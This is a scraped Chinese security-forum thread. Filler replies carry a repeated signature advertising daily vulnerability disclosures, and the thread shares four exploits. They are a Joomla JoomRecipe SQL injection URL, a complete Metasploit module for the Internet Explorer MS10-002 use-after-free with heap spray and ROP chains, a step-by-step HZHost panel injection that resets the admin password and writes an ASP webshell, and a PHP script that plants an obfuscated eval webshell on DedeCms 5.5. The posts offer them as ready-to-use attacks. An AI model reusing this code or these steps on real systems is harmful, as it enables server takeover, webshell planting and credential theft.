最近看过此主题的会员

返回列表 发帖
我在顶贴~!狂顶狂顶。~


















公告:https://www.sitedirsec.com每日公布最新漏洞,请关注

TOP

已经证明:此贴有意思,而且非常有意思~  


















公告:https://www.sitedirsec.com每日公布最新漏洞,请关注

TOP

怎么就没人拜我为偶像那?? ~


















公告:https://www.sitedirsec.com每日公布最新漏洞,请关注

TOP

到你的~~贴吧收藏~~~我的发言~`找


















公告:https://www.sitedirsec.com每日公布最新漏洞,请关注

TOP

哈哈 支持啊 可以换头像咯哦,不过现在也蛮不错的。


















公告:https://www.sitedirsec.com每日公布最新漏洞,请关注

TOP

Joomla! Component JoomRecipe 1.0.3 - SQL注入漏洞
# # # # #
# Exploit Title: Joomla! Component JoomRecipe 1.0.3 - SQL Injection
# Dork: N/A
# Date: 15.06.2017
# Vendor : http://joomboost.com/
# Software: https://extensions.joomla.org/extensions/extension/vertical-markets/food-a-beverage/joomrecipe/
# Demo: http://demo-joomrecipe.joomboost.com/
# Version: 1.0.3
# # # # #
# Author: EziBilisim
# Author Web: https://ezibilisim.com/
# Seo, Web tasarim, Web yazilim, Web guvenlik hizmetleri sunar.
# # # # #
# SQL Injection/Exploit :
http://localhost/[PATH]/all-recipes/category/[SQL]

# # # # #


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

MS10-002 Internet Explorer Object Memory漏洞
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpServer::HTML
    def initialize(info={})
        super(update_info(info,
            'Name'           => "MS10-002 Internet Explorer Object Memory Use-After-Free",
            'Description'    => %q{
                    This module exploits a vulnerability found in Internet Explorer's
                mshtml component.  Due to the way IE handles objects in memory, it is
                possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
                to be used even after it gets freed, therefore allowing remote code
                execution under the context of the user.
                    This particular vulnerability was also one of 2012's Pwn2Own
                challenges, and was later explained by Peter Vreugdenhil with exploitation
                details.  Instead of Peter's method, this module uses heap spraying like
                the 99% to store a specially crafted memory layout before re-using the
                freed memory.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
                    'juan vazquez',      # Metasploit
                    'sinn3r'             # Metasploit
                ],
            'References'     =>
                [
                    [ 'MSB', 'MS10-002'],
                    [ 'CVE', '2010-0248' ],
                    [ 'OSVDB', '61914'],
                    [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/']
                ],
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "x00",
                    'DisableNops' => true
                },
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
                    [ 'IE 8 on Windows 7 SP0',  { 'Rop' => :jre,    'Offset' => '0x5f4', 'Ret' => 0x7c348b05 }  ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 21 2010",
            'DefaultTarget'  => 0))
    end
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
        if agent =~ /NT 5.1/ and agent =~ /MSIE 8/
            return targets[1]  #IE 8 on Windows XP SP3
        elsif agent =~ /NT 6.1/ and agent =~ /MSIE 8/
            return targets[2]  #IE 8 on Windows 7 SP1 with JRE
        else
            return nil
        end
    end
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end
        js_code = build_javascript(my_target)
        html = %Q|
<html>
    <head>
    <script>
#{js_code}
        </script>
    </head>
    <body onLoad="window.setTimeout(Start,100);" id="bodyid">
    <table id="tableid">
        <tr><th id="thid"></th></tr>
        <tr id="trid"><td id="tdid"></td></tr>
    </table>
    </body>
</html>
        |
        print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    def build_javascript(my_target)
        p = get_payload(my_target)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        js_nops = Rex::Text.to_unescape("x0c"*4, Rex::Arch.endian(my_target.arch))
        # The exploit will try to take up the freed memory
        # with a fake item before the reuse
        fake_item = [
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            0x0c0c003c, # pointer to c_table_cell
            junk,
            junk,
            junk,
            0x0c0c0050, # pointer to c_cache_item
            junk,
            junk,
        ].pack("V*")
        fake_item_js = Rex::Text.to_unescape(fake_item)
        # Here start the crafted layout of the memory
        # which will be sprayed to get code execution
        # IE 8 => Spray be sprayed into 0c0c0024
        memory_layout = [
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            0x0c0c0040, # ----- points to 0x0c0c0040
            0x0c0c0c0c, # <---|  0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
            junk,
            junk,
            0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
            junk,       # Stored at 0c0c0c50
            junk,
            junk,
            0x0c0c0078,
            junk,
            junk,
            junk,
            junk,
            junk,
            0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
            0x00000001  # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
        ].pack("V*")
        memory_layout_js = Rex::Text.to_unescape(memory_layout)
        # Steps:
        # 1. Force the free.
        # 2. Try to reuse the freed memory with a fake item.
        # The fake item store crafted pointers to the
        # memory which will be sprayed on step 3.
        # 3. Heap Spray: Shellcode + crafted memory layout to
        # get execution flow when the memory freed in step 1
        # is reused in step 4.
        # 4. Force the memory reuse.
        spray = <<-JS
function Start() {
    var fake_items = unescape("#{fake_item_js}");
    while (fake_items.length < 0x1000) fake_items+= fake_items;
    var fake_item = fake_items.substring(0, (96-6)/2);
    var code = unescape("#{js_code}");
    var memory_layout = unescape("#{memory_layout_js}")
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
    var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block_shell = shellcode.substring(0, (0x80000-6)/2);
    var heap = new heapLib.ie(0x20000);
    var TableClone = document.getElementById('tableid').cloneNode(1);
    var TableCellUrns = TableClone.cells.urns('a');
    var bla = TableClone.cells.item(1);
    var TableCellUrnsTags = TableCellUrns.tags('a');
    TableClone.outerText = 'a';
    heap.gc();
    for(i = 0; i < 30; i++) {
        heap.alloc(fake_item);
    }
    for (var i=1; i < 0x1C2; i++) {
        heap.alloc(block_shell);
    }
    Result = TableClone.cells;
    Result = TableCellUrnsTags.item(1);
}
        JS
        spray = heaplib(spray, {:noobfu => true})
        return spray
    end
    def nop
        return make_nops(4).unpack("V").first
    end
    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end
    # ROP chain + shellcode will be sprayed at 0x0c0c0c0c
    def get_payload(t)
        # chain generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            rop =
            [
                0x77c4e392,  # POP EAX # RETN
                0x77c11120,  # <- *&amp;VirtualProtect()
                0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                junk,
                0x77c2dd6c,
                0x77c4ec00,  # POP EBP # RETN
                0x77c35459,  # ptr to 'push esp #  ret'
                0x77c47705,  # POP EBX # RETN
                0x00000800,  # <- change size to mark as executable if needed (-> ebx)
                0x77c3ea01,  # POP ECX # RETN
                0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
                0x77c46100,  # POP EDI # RETN
                0x77c46101,  # ROP NOP (-> edi)
                0x77c4d680,  # POP EDX # RETN
                0x00000040,  # newProtect (0x40) (-> edx)
                0x77c4e392,  # POP EAX # RETN
                nop,  # NOPS (-> eax)
                0x77c12df9,  # PUSHAD # RETN
            ].pack("V*")
        when :jre
            rop =
            [
                0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
                0x7c347f98,  # RETN (ROP NOP)
                0x7c3415a2,  # JMP [EAX]
                0xffffffff,
                0x7c376402,  # skip 4 bytes
                0x7c351e05,  # NEG EAX # RETN
                0x7c345255,  # INC EBX # FPATAN # RETN
                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                0x7c344f87,  # POP EDX # RETN
                0xffffffc0,  # Value to negate, will become 0x00000040
                0x7c351eb1,  # NEG EDX # RETN
                0x7c34d201,  # POP ECX # RETN
                0x7c38b001,  # &amp;Writable location
                0x7c347f97,  # POP EAX # RETN
                0x7c37a151,  # ptr to &amp;VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
                0x7c345c30,  # ptr to 'push esp #  ret '
            ].pack("V*")
        end
        code = rop
        code << make_nops(38)
        code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
        code << [t.ret].pack("V") # Stack Pivot
        code << payload.encoded
        return code
    end
end
=begin
(694.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!WriteProcessMemory+0x6d:
7c8022cf cc              int     3
=end




















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

华众6.5虚拟主机管理系统SQL注入漏洞
第一,如何拿网站管理员权限。   第二,如何备份木马。   这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。漏洞存在于hzhosthzhost_mastercontrolot2_mngot2_lst.asp文件中!    引用:   -------------------------13-15行----------------------------   querytype=SafeRequest("querytype") //saferequest函数接受数据   if chk_int(querytype)=false then //检查是否是整数     ErrMsg="对不起,非法操作!..."   -------------------------37-42行---------------------------   elseif querytype=5 then //如果类型为5。就接受qu1数据!   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!       if qu1="" then //不能为空          call errorpage(-2,"对不起,请选择参数!")   end if               qstring=" and s_regstt="&amp;qu1&amp;" " //这里是关键 qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!   -------------------------62-65行---------------------------   qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据   if qu7<>"" then   qstring2=" and u_nme='"&amp;qu7&amp;"'" //这里被单引号包围了。 这里被包围了,所以这里成了死点!!   end if   --------------------------117行-----------------------------   query="select * from v_ot2lst where (s_unme='"&amp;session("usrname")&amp;"' or u_fatstr like '%,"&amp;session("usrname")&amp;",%')    "&amp;qstring&amp;qstring2&amp;" order by "&amp;orderstring   //到这里就丢进去查询了!   来看看saferequest()函数。
   引用:   ------------------incs/config.asp中-------------------------   Function SafeRequest(ParaName)   Dim ParaValue   ParaValue=Request(ParaName) //获取数据   if IsNumeric(ParaValue) then //如果是数字   SafeRequest=ParaValue //那就不过滤,直接赋值   exit Function
   else   ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写   tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"   //定义要过滤的字符!
   他过滤方式有问题。。。没有过滤 * / % / -- / ;   而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
   temps=split(tempvalue,"|")           //转为一维数组   for mycount=0 to ubound(temps)       //循环读数组内数据   if Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。                  call errorpage(-2,"非法请求!!!") //如果有则弹出提示!!                  response.end   end if   next   SafeRequest=ParaValue   end if   End function   -------------------------------------   所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。   先给出查询语句的框架。
   引用:   select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc   为了使语句顺利执行:   我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。   这里我给出条示范语句,即{我们的语句}
   引用:   UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E   这条语句能够绕过saferequest函数的检测。没有出现单引号。   我们提交:
   引用:  http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&amp;qu7=1&amp;ordernum=32&amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1   这句话就能够将admin的密码修改成123456   到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。   第二步是要备份挂马。   大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(   导致备马的这条语句失败。
   引用:   declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。   有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。   由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(   接下来放出详细语句。大家放入{我们的语句中}
   引用:   第 一 步:   create table [dbo].[shit_tmp] ([cmd] [image])--   第 二 步   declare @a sysname,@s>2005C0031002E00610073007000 backup log @a to disk=@s--   第 五 步   Drop table [shit_tmp]--   上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。   一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。   请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
   最后是答疑部分:   1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
   2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500   这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:   0x6531306164633339343962613539616262653536653035376632306638383365   大家仔细观察,会发现,其实只是去掉了一些00。。   所以大家在转换其他md5的时候,注意此问题。
   3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。   另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
   4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。   有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
   5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
   6::
   引用:   sa密码。root密码。   HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings   mysqlpass---root密码   mssqlpss----sa密码   7.如果路径不在D:/hzhost   那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。   或者去读注册表。   HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings 下   "wwwrootpath"="e:\wwwroot"   "urlsiteroot"="D:\hzhost\hzhost_url"   "ftprootpath"="e:\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)   大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

DedeCms v5.5 0day
漏洞文件:digg_ajax.php
#DedeCms v5.5 0day#
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';

get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){
    echo "
Shell Address is:".$host.$path.$shell;
}else{
    echo "
Error.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1
";
    $message .= "Accept: */*
";
    $message .= "Referer: http://$host$path
";
    $message .= "Accept-Language: zh-cn
";
    $message .= "Content-Type: application/x-www-form-urlencoded
";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
";
    $message .= "Host: $host
";
    $message .= "Connection: Close

";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "
Connect to host Error";
    }
    fputs($fp, $message);
   
    $back = '';

    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
   
}
function post_send($url,$cmd){
   
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1
";
    $message .= "Accept: */*
";
    $message .= "Referer: http://$host$path
";
    $message .= "Accept-Language: zh-cn
";
    $message .= "Content-Type: application/x-www-form-urlencoded
";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
";
    $message .= "Host: $host
";
    $message .= "Content-Length: ".strlen($cmd)."
";
    $message .= "Connection: Close

";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "
Connect to host Error";
    }
    fputs($fp, $message);
   
    $back = '';

    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>
相关利用过程明天给出,谣传通杀全部版本!




















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表